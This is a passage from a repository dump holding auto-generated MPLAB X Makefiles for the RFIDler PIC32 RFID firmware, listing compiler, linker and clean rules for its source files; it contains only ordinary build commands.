 -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/auto.o.d\" -o ${OBJECTDIR}/src/auto.o src/auto.c     \n\t\n${OBJECTDIR}/src/fdxb.o: src/fdxb.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/fdxb.o.d \n\t@${RM} ${OBJECTDIR}/src/fdxb.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/fdxb.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/fdxb.o.d\" -o ${OBJECTDIR}/src/fdxb.o src/fdxb.c     \n\t\n${OBJECTDIR}/src/hitag.o: src/hitag.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitag.o.d \n\t@${RM} ${OBJECTDIR}/src/hitag.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitag.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitag.o.d\" -o ${OBJECTDIR}/src/hitag.o src/hitag.c     \n\t\n${OBJECTDIR}/src/uid.o: src/uid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/uid.o.d \n\t@${RM} ${OBJECTDIR}/src/uid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/uid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/uid.o.d\" -o ${OBJECTDIR}/src/uid.o src/uid.c     \n\t\n${OBJECTDIR}/src/login.o: src/login.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/login.o.d \n\t@${RM} ${OBJECTDIR}/src/login.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/login.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/login.o.d\" -o ${OBJECTDIR}/src/login.o src/login.c     \n\t\n${OBJECTDIR}/src/write.o: src/write.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/write.o.d \n\t@${RM} ${OBJECTDIR}/src/write.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/write.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/write.o.d\" -o ${OBJECTDIR}/src/write.o src/write.c     \n\t\n${OBJECTDIR}/src/auth.o: src/auth.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/auth.o.d \n\t@${RM} ${OBJECTDIR}/src/auth.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/auth.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/auth.o.d\" -o ${OBJECTDIR}/src/auth.o src/auth.c     \n\t\n${OBJECTDIR}/src/q5.o: src/q5.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/q5.o.d \n\t@${RM} ${OBJECTDIR}/src/q5.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/q5.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/q5.o.d\" -o ${OBJECTDIR}/src/q5.o src/q5.c     \n\t\n${OBJECTDIR}/src/vtag.o: src/vtag.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/vtag.o.d \n\t@${RM} ${OBJECTDIR}/src/vtag.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/vtag.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/vtag.o.d\" -o ${OBJECTDIR}/src/vtag.o src/vtag.c     \n\t\n${OBJECTDIR}/src/config.o: src/config.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/config.o.d \n\t@${RM} ${OBJECTDIR}/src/config.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/config.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/config.o.d\" -o ${OBJECTDIR}/src/config.o src/config.c     \n\t\n${OBJECTDIR}/src/select.o: src/select.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/select.o.d \n\t@${RM} ${OBJECTDIR}/src/select.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/select.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/select.o.d\" -o ${OBJECTDIR}/src/select.o src/select.c     \n\t\n${OBJECTDIR}/src/sdcard.o: src/sdcard.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/sdcard.o.d \n\t@${RM} ${OBJECTDIR}/src/sdcard.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/sdcard.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/sdcard.o.d\" -o ${OBJECTDIR}/src/sdcard.o src/sdcard.c     \n\t\n${OBJECTDIR}/src/debug_pins.o: src/debug_pins.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/debug_pins.o.d \n\t@${RM} ${OBJECTDIR}/src/debug_pins.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/debug_pins.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/debug_pins.o.d\" -o ${OBJECTDIR}/src/debug_pins.o src/debug_pins.c     \n\t\n${OBJECTDIR}/src/awid.o: src/awid.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/awid.o.d \n\t@${RM} ${OBJECTDIR}/src/awid.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/awid.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/awid.o.d\" -o ${OBJECTDIR}/src/awid.o src/awid.c     \n\t\n${OBJECTDIR}/src/analogue.o: src/analogue.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/analogue.o.d \n\t@${RM} ${OBJECTDIR}/src/analogue.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/analogue.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/analogue.o.d\" -o ${OBJECTDIR}/src/analogue.o src/analogue.c     \n\t\n${OBJECTDIR}/src/iso7816.o: src/iso7816.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/iso7816.o.d \n\t@${RM} ${OBJECTDIR}/src/iso7816.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/iso7816.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/iso7816.o.d\" -o ${OBJECTDIR}/src/iso7816.o src/iso7816.c     \n\t\n${OBJECTDIR}/src/t55x7.o: src/t55x7.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/t55x7.o.d \n\t@${RM} ${OBJECTDIR}/src/t55x7.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/t55x7.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/t55x7.o.d\" -o ${OBJECTDIR}/src/t55x7.o src/t55x7.c     \n\t\n${OBJECTDIR}/src/sniff.o: src/sniff.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/sniff.o.d \n\t@${RM} ${OBJECTDIR}/src/sniff.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/sniff.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/sniff.o.d\" -o ${OBJECTDIR}/src/sniff.o src/sniff.c     \n\t\n${OBJECTDIR}/src/tamagotchi.o: src/tamagotchi.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/tamagotchi.o.d \n\t@${RM} ${OBJECTDIR}/src/tamagotchi.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/tamagotchi.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/tamagotchi.o.d\" -o ${OBJECTDIR}/src/tamagotchi.o src/tamagotchi.c     \n\t\n${OBJECTDIR}/src/hdx.o: src/hdx.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hdx.o.d \n\t@${RM} ${OBJECTDIR}/src/hdx.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hdx.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hdx.o.d\" -o ${OBJECTDIR}/src/hdx.o src/hdx.c     \n\t\n${OBJECTDIR}/src/hitag2crack.o: src/hitag2crack.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/hitag2crack.o.d \n\t@${RM} ${OBJECTDIR}/src/hitag2crack.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/hitag2crack.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/hitag2crack.o.d\" -o ${OBJECTDIR}/src/hitag2crack.o src/hitag2crack.c     \n\t\n${OBJECTDIR}/src/paxton.o: src/paxton.c  nbproject/Makefile-${CND_CONF}.mk\n\t@${MKDIR} \"${OBJECTDIR}/src\" \n\t@${RM} ${OBJECTDIR}/src/paxton.o.d \n\t@${RM} ${OBJECTDIR}/src/paxton.o \n\t@${FIXDEPS} \"${OBJECTDIR}/src/paxton.o.d\" $(SILENT) -rsi ${MP_CC_DIR}../  -c ${MP_CC}  $(MP_EXTRA_CC_PRE)  -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION)  -fdata-sections -DRFIDLER_DEBUG -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include\" -I\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB\" -I\"/opt/microchip/xc32/v1.40/pic32-libs/include\" -I\"./include\" -MMD -MF \"${OBJECTDIR}/src/paxton.o.d\" -o ${OBJECTDIR}/src/paxton.o src/paxton.c     \n\t\nendif\n\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: compileCPP\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\nelse\nendif\n\n# ------------------------------------------------------------------------------------\n# Rules for buildStep: link\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\ndist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}: ${OBJECTFILES}  nbproject/Makefile-${CND_CONF}.mk  /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a  \n\t@${MKDIR} dist/${CND_CONF}/${IMAGE_TYPE} \n\t${MP_CC} $(MP_EXTRA_LD_PRE)  -mdebugger -D__MPLAB_DEBUGGER_PK3=1 -mprocessor=$(MP_PROCESSOR_OPTION)  -o dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX} ${OBJECTFILES_QUOTED_IF_SPACED}    /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a          -mreserve=boot@0x1FC02000:0x1FC02FEF -mreserve=boot@0x1FC02000:0x1FC024FF  -Wl,--defsym=__MPLAB_BUILD=1$(MP_EXTRA_LD_POST)$(MP_LINKER_FILE_OPTION),--defsym=__MPLAB_DEBUG=1,--defsym=__DEBUG=1,--defsym=__MPLAB_DEBUGGER_PK3=1,--gc-sections,-Map=\"${DISTDIR}/${IMAGE_TYPE}.map\",--memorysummary,dist/${CND_CONF}/${IMAGE_TYPE}/memoryfile.xml\n\t\nelse\ndist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}: ${OBJECTFILES}  nbproject/Makefile-${CND_CONF}.mk  /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a \n\t@${MKDIR} dist/${CND_CONF}/${IMAGE_TYPE} \n\t${MP_CC} $(MP_EXTRA_LD_PRE)  -mprocessor=$(MP_PROCESSOR_OPTION)  -o dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${DEBUGGABLE_SUFFIX} ${OBJECTFILES_QUOTED_IF_SPACED}    /opt/microchip/xc32/v1.40/pic32mx/lib/libmchp_peripheral_32MX795F512L.a        -Wl,--defsym=__MPLAB_BUILD=1$(MP_EXTRA_LD_POST)$(MP_LINKER_FILE_OPTION),--gc-sections,-Map=\"${DISTDIR}/${IMAGE_TYPE}.map\",--memorysummary,dist/${CND_CONF}/${IMAGE_TYPE}/memoryfile.xml\n\t${MP_CC_DIR}/xc32-bin2hex dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${DEBUGGABLE_SUFFIX} \nendif\n\n\n# Subprojects\n.build-subprojects:\n\n\n# Subprojects\n.clean-subprojects:\n\n# Clean Targets\n.clean-conf: ${CLEAN_SUBPROJECTS}\n\t${RM} -r build/debug\n\t${RM} -r dist/debug\n\n# Enable dependency checking\n.dep.inc: .depcheck-impl\n\nDEPFILES=$(shell \"${PATH_TO_IDE_BIN}\"mplabwildcard ${POSSIBLE_DEPFILES})\nifneq (${DEPFILES},)\ninclude ${DEPFILES}\nendif\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/nbproject/Makefile-default.mk",
    "content": "#\n# Generated Makefile - do not edit!\n#\n# Edit the Makefile in the project folder instead (../Makefile). Each target\n# has a -pre and a -post target defined where you can add customized code.\n#\n# This makefile implements configuration specific macros and targets.\n\n\n# Include project Makefile\nifeq \"${IGNORE_LOCAL}\" \"TRUE\"\n# do not include local makefile. User is passing all local related variables already\nelse\ninclude Makefile\n# Include makefile containing local settings\nifeq \"$(wildcard nbproject/Makefile-local-default.mk)\" \"nbproject/Makefile-local-default.mk\"\ninclude nbproject/Makefile-local-default.mk\nendif\nendif\n\n# Environment\nMKDIR=mkdir -p\nRM=rm -f \nMV=mv \nCP=cp \n\n# Macros\nCND_CONF=default\nifeq ($(TYPE_IMAGE), DEBUG_RUN)\nIMAGE_TYPE=debug\nOUTPUT_SUFFIX=elf\nDEBUGGABLE_SUFFIX=elf\nFINAL_IMAGE=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\nelse\nIMAGE_TYPE=production\nOUTPUT_SUFFIX=hex\nDEBUGGABLE_SUFFIX=elf\nFINAL_IMAGE=dist/${CND_CONF}/${IMAGE_TYPE}/RFIDler.X.${IMAGE_TYPE}.${OUTPUT_SUFFIX}\nendif\n\n# Object Directory\nOBJECTDIR=build/${CND_CONF}/${IMAGE_TYPE}\n\n# Distribution Directory\nDISTDIR=dist/${CND_CONF}/${IMAGE_TYPE}\n\n# Source Files Quoted if spaced\nSOURCEFILES_QUOTED_IF_SPACED=\"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/FSIO.c\" \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/MDD File System/SD-SPI.c\" \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SClib.c\" \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Smart Card/SCpic32.c\" \"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/CDC Device Driver/usb_function_cdc.c\" /opt/microchip/microchip_solutions_v2013-06-15/Microchip/USB/usb_device.c src/indala.c src/main.c src/psk.c src/usb_descriptors.c src/util.c src/emulate.c src/ask.c src/fsk.c src/clock.c src/rwd.c src/detect.c src/hitagcrypto.c src/wiegand.c src/comms.c src/nvm.c src/mcp414x.c src/spi.c src/uart3.c src/tags.c src/unique.c src/led.c src/em.c src/hid.c src/read.c src/isr.c src/auto.c src/fdxb.c src/hitag.c src/uid.c src/login.c src/write.c src/auth.c src/q5.c src/vtag.c src/config.c src/select.c src/sdcard.c src/debug_pins.c src/awid.c src/analogue.c src/iso7816.c src/t55x7.c src/sniff.c src/tamagotchi.c src/hdx.c src/hitag2crack.c src/paxton.c\n\n# Object Files Quoted if spaced\nOBJECTFILES_QUOTED_IF_SPACED=${OBJECTDIR}/_ext/1209914024/FSIO.o ${OBJECTDIR}/_ext/1209914024/SD-SPI.o ${OBJECTDIR}/_ext/1019771169/SClib.o ${OBJECTDIR}/_ext/1019771169/SCpic32.o ${OBJECTDIR}/_ext/631258897/usb_function_cdc.o ${OBJECTDIR}/_ext/186742988/usb_device.o ${OBJECTDIR}/src/indala.o ${OBJECTDIR}/src/main.o ${OBJECTDIR}/src/psk.o ${OBJECTDIR}/src/usb_descriptors.o ${OBJECTDIR}/src/util.o ${OBJECTDIR}/src/emulate.o ${OBJECTDIR}/src/ask.o ${OBJECTDIR}/src/fsk.o ${OBJECTDIR}/src/clock.o ${OBJECTDIR}/src/rwd.o 